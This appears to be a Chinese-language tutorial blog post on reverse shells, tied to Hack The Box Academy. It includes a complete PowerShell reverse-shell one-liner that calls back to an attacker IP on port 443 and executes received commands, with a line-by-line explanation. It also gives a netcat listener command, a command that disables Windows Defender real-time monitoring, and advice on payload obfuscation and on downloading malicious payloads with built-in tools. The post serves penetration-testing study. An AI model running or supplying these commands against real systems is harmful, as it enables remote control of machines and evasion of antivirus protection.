筆者 say say 念:
還記得我們在上一篇說過 Reverse Shell
就是高階海王嗎?
換句話說,它其實就是「反守為攻」的角色啦 ><
讓我們一起來看看什麼是 Reverse Shell
吧!
攻擊者在自己的機器上開啟監聽器,「等待來自目標系統的反向連接」。
攻擊者利用漏洞(如文件上傳、命令注入等)讓目標系統運行代碼,發起反向連接到攻擊者的機器。
一旦成功連接,攻擊者可以在目標系統上運行 Shell
命令,如同在自己機器上操作一樣。
筆者 say say 念:
接著,我們來看看範例吧~
假設攻擊方是 Linux
系統,目標主機是 Windows
系統。
在 Windows
系統中,可以利用 PowerShell
來建立反向 Shell
,自投羅網。
在 Linux
主機中,就需要設一個「監聽器」,等待連接。
透過 Powershell
,我們可以下以下指令~
powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient('192.168.1.100',443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0,$i);$sendback = (iex $data 2>&1 | Out-String);$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"
這段程式碼會通過 PowerShell
在目標系統上發起反向 Shell
,並將目標系統的 Shell
發送回攻擊者的機器。
這邊的指令看起來有些複雜,逐步解釋一下~ 有興趣的讀者可以繼續往下看~
powershell -nop -c
-nop
:
這個參數的意思是 "no profile
",即不加載 PowerShell
的使用者配置檔,讓命令執行得更快、更輕量。
-c
:
這表示將後面的指令當作一個命令來執行。
接下來是這段程式碼的主要部分:
$client = New-Object System.Net.Sockets.TCPClient('192.168.1.100',443);
這行程式碼創建了一個 TCP
客戶端對象,並試圖連接到 IP
地址 192.168.1.100 的攻擊者機器,並使用 443 端口。
此處的 TCPClient
是用來建立 TCP
連接的工具,這裡目標系統將作為客戶端發起與攻擊者的連接。
$stream = $client.GetStream();
這行程式碼從剛剛創建的 TCP
客戶端中獲取數據流,這個數據流用來在兩台機器之間傳輸資料(命令和回應)。
[byte[]]$bytes = 0..65535|%{0};
這行程式碼創建了一個大小為 65535 字節的「空白字節數組」,用來存儲從攻擊者機器接收的資料。
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){
這行程式碼進入一個循環,持續從數據流中讀取資料,並將其存入剛剛創建的 $bytes
數組中。$i
表示實際讀取的字節數量,當讀取的數據不為0時,循環持續執行。
$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0,$i);
這行程式碼將接收到的字節數據轉換為「可讀字符串」。$data
是從攻擊者發送過來的指令。
$sendback = (iex $data 2>&1 | Out-String);
這行程式碼將接收到的命令 $data
使用 iex
(即 Invoke-Expression
) 來執行,並將命令的執行結果收集起來。2>&1 表示同時收集標準輸出和錯誤輸出,| Out-String
將輸出轉換成字符串形式。
$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';
這行程式碼將命令的執行結果附加上當前的工作目錄(用 pwd 來獲取當前目錄),然後組合成 $sendback2,這是要回傳給攻擊者的完整結果。
$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);
這行程式碼將 $sendback2
(Shell
命令的結果)轉換為字節數組,以便通過數據流傳輸。
$stream.Write($sendbyte,0,$sendbyte.Length);
$stream.Flush();
這兩行程式碼將轉換後的字節數據發送回攻擊者機器,並且確保數據立即被送出。
$client.Close()
當數據傳輸完成時,程式結束循環並關閉 TCP
連接。
好了,看完落落長的說明後,我們需要面對一個事實...
也就是執行這段指令也是有可能會被 Windows
的防毒軟體給擋下來的!
那,我們該怎麼辦?
支線來了!舉幾個可以做的事情:
拿到系統管理員權限,用以下指令透過 Powershell
禁用防毒軟體
Set-MpPreference -DisableRealtimeMonitoring $true
Payload
混淆
防病毒軟體依賴於簽名來識別已知的惡意代碼。通過「混淆你的 Payload
」,將其轉換成看起來不同的形式,可以繞過這些檢測。例如,使用 PowerShell
腳本混淆工具來修改命令,使其難以被檢測。
有興趣的讀者可以看看: https://github.com/danielbohannon/Invoke-Obfuscation
使用原生工具 (Living Off the Land
)
利用目標系統上的原生工具進行攻擊,例如使用 PowerShell
或其他內建系統功能來避免引入外部可執行文件,這可以降低被防毒軟體檢測的風險。
舉個例子,可以看,如在 Invoke-WebRequest
下載惡意 Payload
,然後在目標系統上運行。
Invoke-WebRequest
的使用範例可以參考: https://learn.microsoft.com/zh-tw/powershell/module/microsoft.powershell.utility/invoke-webrequest?view=powershell-7.4
在攻擊者的機器上運行與 Netcat
範例類似的監聽器命令:
nc -lvnp 443
其實有一份 cheatsheet
可以看,Reverse Shell Cheatsheet
讀者可以評估想要滲透的目標主機的 OS
以及使用該工具或程式語言需要安裝的東西,來決定要使用哪個 reverse Shell
~
這邊提供一個比較表,讀者可以思考要怎麼選擇!
Shell 類型 | 優點 | 缺點 | 適用場景 |
---|---|---|---|
Netcat | 簡單易用,跨平台,常用於快速測試 | 需要目標系統上安裝Netcat,不適用所有情況 | 測試和Linux系統 |
PowerShell | Windows內建,無需額外安裝,廣泛使用於Windows環境 | 容易被Windows Defender等防病毒軟件檢測 | Windows系統內網滲透 |
Python | 跨平台,靈活,可高度自定義 | 需要Python已安裝,目標系統未必都有Python | 適用於Python環境的系統 |
Bash | Linux/Unix內建工具,無需安裝,執行簡單命令 | 僅適用於Linux/Unix環境,功能相對單一 | Linux系統快速Shell連接 |
Meterpreter (Metasploit) | 功能強大,內建多種工具,支持加密流量 | 容易被防病毒軟件攔截,且需要安裝Metasploit | 高階滲透測試,功能豐富 |
PHP Reverse Shell | 可以用於攻擊網站和Web應用,適用於有PHP支持的服務器 | 執行效率低,易被WAF(Web Application Firewall)攔截 | Web應用攻擊,網站滲透 |
Perl | 常見於舊系統,適用於有Perl環境的服務器 | 現代系統較少使用,Perl程式碼相對難以維護 | 適用於舊的服務器系統 |
筆者爆肝宣言:
終於介紹完 Reverse Shell 了!
之後我們可以來看看各種 Payload & Shell
今天在家裡附近的咖啡廳寫文章,感覺還是只有北車的咖啡廳安靜@@
希望之後能換個地方寫,要不然一直被怪人干擾
https://academy.hackthebox.com/